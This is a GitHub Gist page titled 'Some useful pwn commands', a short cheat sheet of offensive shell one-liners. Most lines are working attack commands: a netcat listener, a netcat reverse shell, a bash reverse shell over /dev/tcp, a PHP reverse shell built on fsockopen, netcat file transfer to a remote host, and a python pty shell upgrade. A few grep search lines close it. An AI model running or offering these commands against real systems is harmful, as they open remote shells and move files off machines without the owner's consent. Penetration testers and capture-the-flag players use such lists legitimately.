Last active
August 5, 2022 00:03
-
-
Save megalucio/bda3ba9ff0894b83b00625373b1b2e3a to your computer and use it in GitHub Desktop.
Some useful pwn commands
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Netcat simple listen | |
netcat -lvp [port] | |
# Netcat reverse shell | |
nc -e /bin/sh [destination] [port] | |
# Nectat file transfer | |
nc -l -p 1234 > out.file | |
nc -w 3 [destination] [port] < out.file | |
# Bash reverse shell | |
bash -i >& /dev/tcp/[ip]/[port] 0>&1 | |
# Php reverse shell | |
php -r '$sock=fsockopen("[ip]",[port]);exec("/bin/sh -i <&3 >&3 2>&3");' | |
# Upgrade shell | |
python3 -c "import pty; pty.spawn('/bin/bash')" | |
# Search for text inside files in folder recursively silent | |
grep -Rw [folder] -e "[text]" -s | |
grep -rnw [folder] -e '[text]' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment